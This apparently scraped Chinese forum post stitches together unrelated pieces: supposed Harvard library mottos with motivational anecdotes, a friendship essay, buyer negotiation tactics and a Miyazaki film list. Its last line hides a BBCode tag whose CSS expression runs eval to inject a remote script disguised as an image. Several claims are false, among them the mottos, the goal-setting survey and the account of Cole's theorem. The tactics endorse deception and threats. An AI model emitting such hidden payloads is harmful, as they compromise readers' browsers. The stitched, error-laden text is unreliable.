1.此刻打盹，你将做梦；而此刻学习，你将圆梦。

　　2.我荒废的今日，正是昨日殒身之人祈求的明日。

　　3.觉得为时已晚的时候，恰恰是最早的时候。

　　4.勿将今日之事拖到明日。

　　5.学习时的苦痛是暂时的，未学到的痛苦是终生的。

　　6.学习这件事，不是缺乏时间，而是缺乏努力。

　　7.幸福或许不排名次，但成功必排名次。

　　8.学习并不是人生的全部。但既然连人生的一部分——学习也无法征服，还能做什么呢？

　　9.请享受无法回避的痛苦。

　　10.只有比别人更早、更勤奋地努力，才能尝到成功的滋味。

　　11.谁也不能随随便便成功，它来自彻底的自我管理和毅力。

　　12.时间在流逝。

　　13.现在流的口水，将成为明天的眼泪。

　　14.狗一样地学，绅士一样地玩。

　　15.今天不走，明天要跑。

　　16.投资未来的人，是忠于现实的人。

　　17.受教育程度代表收入。

　　18.一天过完，不会再来。

　　19.即使现在，对手也不停地翻动书页。

　　20.没有艰辛，便无所获。

　　作为闻名于世的学府，哈佛大学培养了许多名人，他们中有33位诺贝尔奖获得者、7位美国总统以及各行各业的职业精英。究竟是什么使哈佛成为精英的摇篮？哈佛学子接受了什么样的精神和理念？这些问题吸引着成千上万的人去探知其中的答案。

　　哈佛图书馆墙上的20条训言似乎已经给出了答案。短短数语，引发深思，给人启迪。

　　此刻打盹，你将做梦；而此刻学习，你将圆梦

　　哈佛老师经常给学生这样的告诫：如果你想在进入社会后，在任何时候任何场合下都能得心应手并且得到应有的评价，那么你在哈佛的学习期间，就没有晒太阳的时间。在哈佛广为流传的一句格言是“忙完秋收忙秋种，学习，学习，再学习。”

　　人的时间和精力都是有限的，所以，要利用时间抓紧学习，而不是将所有的业余时间都用来打瞌睡。

　　有的人会这样说：“我只是在业余时间打盹而已，业余时间干吗把自己弄得那么紧张？”爱因斯坦就曾提出：“人的差异在于业余时间。”我的一位在哈佛任教的朋友也告诉我说，只要知道一个青年怎样度过他的业余时间，就能预言出这个青年的前程怎样。

　　20世纪初，在数学界有这样一道难题，那就是2的76次方减去1的结果是不是人们所猜想的质数。很多科学家都在努力地攻克这一数学难关，但结果并不如愿。1903年，在纽约的数学学会上，一位叫做科尔的科学家通过令人信服的运算论证，成功地证明了这道难题。

　　人们在惊诧和赞许之余，向科尔问道：“您论证这个课题一共花了多少时间？”科尔回答：“3年内的全部星期天。”

　　同样，加拿大医学教育家奥斯勒也是利用业余时间作出成就的典范。奥斯勒对人类最大的贡献，就是成功地研究了第三种血细胞。他为了从繁忙的工作中挤出时间读书，规定自己在睡觉之前必须读15分钟的书。不管忙碌到多晚，都坚持这一习惯不改变。这个习惯他整整坚持了半个世纪，共读了1000多本书，取得了令人瞩目的成绩。

　　我荒废的今日，正是昨天殒身之人祈求的明日

　　闻名于世的约翰霍普金斯学院的创始人、牛津大学医学院的讲座教授、被英国国王册封为爵士的威廉·奥斯勒在年轻时，也曾为自己的前途感到迷茫。一次，他在读书时看到了一句话，给了他很大的启发。这句话是“最重要的就是不要去看远方模糊的事，而是做手边清楚的事。”

　　对此，哈佛提醒学生说“我荒废的今日，正是昨天殒身之人祈求的明日”。明天再美好，也不如抓住眼下的今天多做点实事。

　　获得哈佛大学荣誉学位的发明家、科学家本杰明·富兰克林有一次接到一个年轻人的求教电话，并与他约好了见面的时间和地点。当年轻人如约而至时，本杰明的房门大敞着，而眼前的房子里却乱七八糟、一片狼藉，年轻人很是意外。
没等他开口，本杰明就招呼道：“你看我这房间，太不整洁了，请你在门外等候一分钟，我收拾一下，你再进来吧。”然后本杰明就轻轻地关上了房门。

　　不到一分钟的时间，本杰明就又打开了房门，热情地把年轻人让进客厅。这时，年轻人的眼前展现出另一番景象———房间内的一切已变得井然有序，而且有两杯倒好的红酒，在淡淡的香气里漾着微波。

　　年轻人在诧异中，还没有把满腹的有关人生和事业的疑难问题向本杰明讲出来，本杰明就非常客气地说道：“干杯！你可以走了。”

　　手持酒杯的年轻人一下子愣住了，带着一丝尴尬和遗憾说：“我还没向您请教呢……”

　　“这些……难道还不够吗？”本杰明一边微笑一边扫视着自己的房间说，“你进来又有一分钟了。”

　　“一分钟……”年轻人若有所思地说，“我懂了，您让我明白用一分钟的时间可以做许多事情，可以改变许多事情的深刻道理。”

　　珍惜眼前的每一分每一秒，也就珍惜了所拥有的今天。哈佛的这句话实际上揭示了一种人生哲学，那就是人生要以珍惜的态度把握时间，从今天开始，从现在做起。

　　　　觉得为时已晚的时候，恰恰是最早的时候

　　安曼曾经是纽约港务局的工程师，工作多年后按规定退休。开始的时候，他很是失落。但他很快就高兴起来，因为他有了一个伟大的想法。他想创办一家自己的工程公司，要把办公楼开到全球各个角落。

　　安曼开始一步一个脚印地实施着自己的计划，设计的建筑遍布世界各地。在退休后的三十多年里，他实践着自己在工作中没有机会尝试的大胆和新奇的设计，不停地创造着一个又一个令世人瞩目的经典：埃塞俄比亚首都亚的斯亚贝巴机场，华盛顿杜勒斯机场，伊朗高速公路系统，宾夕法尼亚州匹兹堡市中心建筑群……这些作品被当作大学建筑系和工程系教科书上常用的范例，也是安曼伟大梦想的见证。86岁的时候，他完成最后一个作品———当时世界上最长的悬体公路桥———纽约韦拉扎诺海峡桥。

　　生活中，很多事情都是这样，如果你愿意开始，认清目标，打定主意去做一件事，永远不会嫌晚。

　　　　今天不走，明天要跑

　　在哈佛，教授们会时常提醒学生们要做好时间管理，并列举如下事例：

　　当今世界上最大的化学公司———杜邦公司的总裁格劳福特·格林瓦特，每天挤出一小时来研究蜂鸟，并用专门的设备给蜂鸟拍照。权威人士把他写的关于蜂鸟的书称为自然历史丛书中的杰出作品。

　　休格·布莱克在进入美国议会前，并未受过高等教育。他从百忙中每天挤出一小时到国会图书馆去博览群书，包括政治、历史、哲学、诗歌等方面的书，数年如一日，就是在议会工作最忙的日子里也从未间断过。后来他成了美国最高法院的法官。

　　一位名叫尼古拉的希腊籍电梯维修工对现代科学很感兴趣，他每天下班后到晚饭前，总要花一小时时间来攻读核物理学方面的书籍。随着知识的积累，一个念头跃入他的脑海。1948年，他提出了建立一种新型粒子加速器的计划。这种加速器比当时其他类型的加速器造价便宜而且更强有力。他把计划递交给美国原子能委员会做试验，又再经改进，这台加速器为美国节省了7000万美元。尼古拉得到了1万美元的奖励，还被聘请到加州大学放射实验室工作。

　　在人生的道路上，你停步不前，但有人却在拼命赶路。也许当你站立的时候，他还在你的后面向前追赶，但当你再一回望时，已看不到他的身影了，因为，他已经跑到你的前面了，现在需要你来追赶他了。所以，你不能停步，你要不断向前，不断超越。

　　　　狗一样地学，绅士一样地玩

　　我们说要珍惜时间，努力为实现理想而打拼，但有一点要注意，那就是不要一味地拼命，也要有适度的休息和放松。对此，哈佛有个很贴切的说法，叫做“狗一样地学，绅士一样地玩”。话虽略显粗俗，但揭示的道理却很深刻。
在哈佛，虽然学习强度很大，学生们承受着很大的学习压力，但他们也不提倡学生把所有的时间都用来学习。他们认为，学要尽力，玩也不能忽视。哈佛的学生也说，哈佛的课余生活要胜过正规学习。而哈佛也意识到适度的课外活动不但不会背离教育使命，而且还会给教育使命以支持。因此，他们提出要像“绅士一样地玩”。

　　在哈佛，学生们除了紧张地学习，还会参加学校组织的多种艺术活动，比如音乐会、戏剧演出、舞蹈表演及各种艺术展览等，此外，哈佛每年还会举办艺术节，以活跃学生的业余生活。这些充满着浓厚艺术氛围的活动不仅让学生接受了艺术教育和熏陶，而且提高了学生的艺术修养和审美能力。

　　哈佛的理念就是要求你在紧张的学习和工作后，能够暂时地完全忘记它们，像投入工作那样投入玩耍，尽情地放松。的确，在你尽心休闲的时候，所得到的体力和精力的恢复会为你下一阶段的奋斗增添无穷的动力。所以，在前进的路上，你不仅要勤奋努力，更要学会放松。

　　　　现在流的口水，将成为明天的眼泪

　　成功与安逸是不可兼得的，选择了其一，就必定放弃了另一结局。正像哈佛所提醒的那样：现在流的口水，将成为明天的眼泪。今天不努力，明天必定遭罪。

　　我的邻居查尔斯曾经在哈佛度过4年的大学时光，他现在就职于纽约的一家软件公司，做他最擅长的行政管理工作。不久前，他的公司被一家法国公司兼并了。在兼并合同签订的当天，公司的新总裁宣布：“我们不会随意裁员，但如果你的法语太差，导致无法和其他员工交流，那么，不管是多高职位的人，我们都不得不请你离开。这个周末我们将进行一次法语考试，只有考试及格的人才能继续在这里工作。”

　　散会后，几乎所有的人都拥向了图书馆，他们这时才意识到要赶快补习法语了。只有查尔斯像平常一样直接回家了，同事们都认为他已经准备放弃这份工作了，毕竟，哈佛的学习背景和公司管理层的工作经验会帮助他轻而易举地找到另一份不错的工作。

　　然而，令所有人都想不到的是，考试结果出来后，这个在大家眼中没有希望的人却考了最高分。原来，查尔斯在毕业后来到这家公司后，他在工作中发现与法国人打交道的机会特别多，不会法语会使自己的工作受到很大的限制，所以，他很早就开始自学法语了。他利用可利用的一切时间，每天坚持学习，最终学有所获。

　　在哈佛，你从来看不到学生在偷懒，在消磨时间。当若干年后回想起曾经的梦想时，希望带给你的是无尽的欣慰笑容，而不是因蹉跎而流下的悔恨泪水。

　　　　投资未来的人，是忠于现实的人

　　作为世界知名的学府，哈佛十分强调要有长远眼光，为未来投资。要投资未来，就要定好未来的投资方向，也就是要及早地设定人生目标。没有目标，就谈不到发展，更谈不上成功。

　　哈佛大学曾进行过这样一项跟踪调查，对象是一群在智力、学历和环境等方面条件差不多的年轻人。调查结果发现：27%的人没有目标；60%的人目标模糊；10%的人有着清晰但比较短期的目标；其余3%的人有着清晰而长远的目标。

　　以后的岁月，他们行进在各自的人生旅途中。25年后，哈佛再次对这群学生进行了跟踪调查。结果是这样的：

　　3%的人，在25年间朝着一个方向不懈努力，几乎都成为社会各界的成功人士，其中不乏行业领袖和社会精英；10%的人，他们的短期目标不断地实现，成为各个领域中的专业人士，大都生活在社会的中上层；60%的人，他们安稳地生活与工作，但都没有什么特别成绩，几乎都生活在社会的中下层；剩下27%的人，他们的生活没有目标，过得很不如意，并且常常在抱怨他人，抱怨社会，当然，也抱怨自己。

　　其实，他们之间的差别仅仅在于：25年前，他们中的一些人就已经知道自己最想要做的是什么，而另一些人则不清楚或不很清楚。这个调查生动地说明了明确生活目标对于人生成功的重要意义。

我们都需要朋友但为了交朋友，隐藏个性、讨好别人往往会把自己变成空气我们不可能被每个人喜欢但只有做自己的时候喜欢我们的人才能找到我们

本文来自心灵安全岛

　　楠楠是个安静的女生，她最大的愿望就是拥有很多朋友。为此楠楠常常顺从别人的要求，今天陪A去上自习，明天陪B去逛街……只要他们高兴，楠楠都愿意奉陪。
可是楠楠的努力，却没有收到想要的回报，她发现自己总是会被大家忽略、遗忘。她经常遭遇这样的场景：

　　场景1：楠楠、小A和小B同时认识，但往往小A和小B关系会更好一些。

　　场景2：大家在一起快乐的聊天，楠楠说一个话题，没说完就会被其他人的话题覆盖掉，大家似乎对她的话题根本不感兴趣。

　　场景3：在一个新的环境里，楠楠往往是最后被大家记住的人，如果她不主动的去找别人说话，就很少有人主动和她聊天。

　　......

　　以前楠楠认为这样的遭遇是因为自己的安静造成的，但发现其它安静的同学也有好朋友、好人缘。

　　楠楠很想引起别人的注意，尽管她一个人的时候感觉很舒服，但她也希望被很多的朋友簇拥着，渴望别人的喜欢。所以她收起自己的个性，顺从着别人的需要，把交往变成了一场讨好的游戏。

　　别人平等相处，随意自然；而她小心谨慎，步步为营，她就像一个初学滑冰的人，越是不想摔倒，战战兢兢的绷着身体，就越是和重重得摔到冰面上。而其他人，身体放松行动自然，还能做出优雅的跳跃。

　　找朋友，被朋友喜欢，是我们每个人都渴望的。但要是为了获取别人的喜欢，收起个性，去迎合讨好，反而会被当做空气。讨好是友情的杀手锏，先杀死你，再杀死别人对你的关注。谁都不愿去跟一个无聊的人做朋友。

　　要知道，我们每个人都是因为独特的个性，引起别人注意的。你是一朵红色的花，自有喜欢红花的人来欣赏。如果整天不断的为别人的喜好改变自己，就会变成一朵透明的花，只反衬别人的颜色，而没有自己独特的气质，永远只能做个被忽视的跟班。

　　交朋友，首先要做好你自己，我们不可能被每个人喜欢，但只有做自己的时候，喜欢我们的人才能找到我们。

作者：覃剑锋 转自：阿里巴巴

采购技巧

1、永远不要试图喜欢一个销售人员，但需要说他是你的合作者。

2、要把销售人员作为我们的头号敌人。

3、永远不要接受对方第一次报价，让销售人员乞求，这将为我们提供一个更好的机会。

4、随时使用口号：你能做得更好！

5、时时保持最低价的记录，并不断要求的更多，直到销售人员停止提供折扣。

6、永远把自己作为某人的下级，而认为销售人员始终有一个上级，这个上级总是有可能提供额外的折扣。

7、当一个销售人员轻易接受条件，或到休息室去打电话并获得批准，可以认为他所做的让步是轻易得到的，进一步提要求。

8、聪明点，要装的大智若愚。

9、在对方没有提出异议前不要让步。

10、记住：当一个销售人员来要求某事时，他肯定会准备一些条件给予的。

11、记住销售人员总会等待着采购提要求。

12、要求有回报的销售人员通常更有计划性，更了解情况。应花时间同无条件的销售人员打交道。

13、不要为和销售人员玩坏孩子的游戏而感到抱歉

14、毫不犹豫地使用结论，即使它们是假的，例如：竞争对手总是给们提供最好的报价，最好的流转和付款条件。

15、不断地重复反对意见，即使它们是荒谬的，你越多重复，销售人员就会更相信。

16、别忘记你在最后一轮谈判中会获得80%的条件。

17、别忘记对每日拜访我们的销售人员，我们应尽可能了解其性格和需求。

18、随时要求销售人员参加促销。尽可能得到更多的折扣，进行快速促销活动，用数额销售来赚取利润。

19、在谈判中要求不可能的事来烦扰销售人员；通过延后协议来威胁他，让他等；确定一个会议时间，但不到场；让另一个销售人员代替他的位置；威胁他说你会撤掉他的产品；你将减少他产品陈列位置；你将把促销人员清场等等，不要给他时间做决定。

20、注意我们要求的折扣可以有其他名称；奖金、礼物、纪念品、赞助、小报、插入广告、补偿物、促销、上市、上架费、节庆、年庆、国际年庆等等。

21、不要让谈判进入死角，这是最糟糕的。

22、假如销售人员说他需要花很长时间才能给你答案，就是说你已经和其竞争对手快谈妥交易了。

23、不要许可销售人员读到屏幕上的数据，他越不了解情况，越相信我们。（不要轻信采购出示的任何终局，采购最新的招数：给你看他与我们竞争对手的协议，不要相信这个协议，即使它是真的--笔者注）

24、不要被销售人员的新设备吓倒，那并不意味着他们已经准备好谈判了。

25、不论销售人员年老或年轻都不必担心，他们都很容易让注意我们要求的折扣可以有其他名称；奖金、礼物、纪念品、赞助、小报、插入广告、补偿物、促销、上市、上架费、节庆、年庆、国际年庆等等。

26、年长者认为他知道一切，而年轻者没有经验。

27、假如销售人员同其上司一起来，应要求更多的折扣，并威胁说你将撤掉他的产品。对方上司不想在下属面前失掉客户通常就会让步。

28、每当一个促销正在一个别的超市进行时，问销售人员：你在那里做了什么，并要求同样的条件。

29、永远记住；你卖而我买，但我不总买你卖的。

30、在一个伟大的商标背后，你可以发现很多没有任何经验的仅仅靠商标的销售人员。

各位朋友们，如果你是做采购的，可以学习他们的方法，如果你是做销售的，可以了解采购员的心理，知己知彼，方能百战百胜！祝各位朋友成功！

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1 太阳王子 霍尔斯大冒险 (1968)
2 穿长靴的猫 (1969)
3 卡里奥斯特罗城 (1971)
4 熊猫家族 (1972)
5 阿尔卑斯山的少女 (1974)
6 寻母三千里 (1976)
7 未来少年科南 (1978)
8 红发少女安妮 (1979)
9 风之谷 (风の谷のナウシカ) (1984)
10 天空之城 (天空の城ラピュタ)(1986)【点击收看】
11 龙猫 (となりのトトロ)(1988) 【点击收看】
12 再见萤火虫 (火垂るの墓) (1988)
13 魔女宅急便 (魔女の宅急便)(1989)
14 岁月的童话 (おもひでぽろぽろ) (1991)
15 红猪 (红の豚) (1992)
16 听见涛声 (海がきこえる)(1993)
17 平成狸合战 (平成狸合戦ぽんぽこ) (1994)
18 On your mark (On Your Mark)(1995)
19 侧耳倾听 (耳をすませば)(1995)
20 幽灵公主 (もののけ姫) (1997) 【点击收看】
21 我的邻居山田君 （ホーホケキョとなりの山田くん)(1999）勲
22 千与千寻 (千と千寻の神隠し)(2001)
23 猫的报恩 (猫の恩返し)(2002)
24 哈尔的移动城堡 (Howl's Castle) (2005)
25<悬崖上的ponyo>>(<<崖の上のポニョ>>)

熊的传说 （第1部上）（第1部中）（第1部下）（第2部1）（第2部2）（第2部3）（第2部4）

红色的我已经看过，其他的有时间去搜一下。[flash,400,300]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27scrīpt%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascrīpt%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]